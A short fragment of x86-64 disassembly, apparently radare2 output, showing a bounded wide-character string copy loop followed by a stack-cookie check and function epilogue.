cmp rdi, 1
jb 0x14000a713
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a6d0
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000c4f0
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000fc64
int3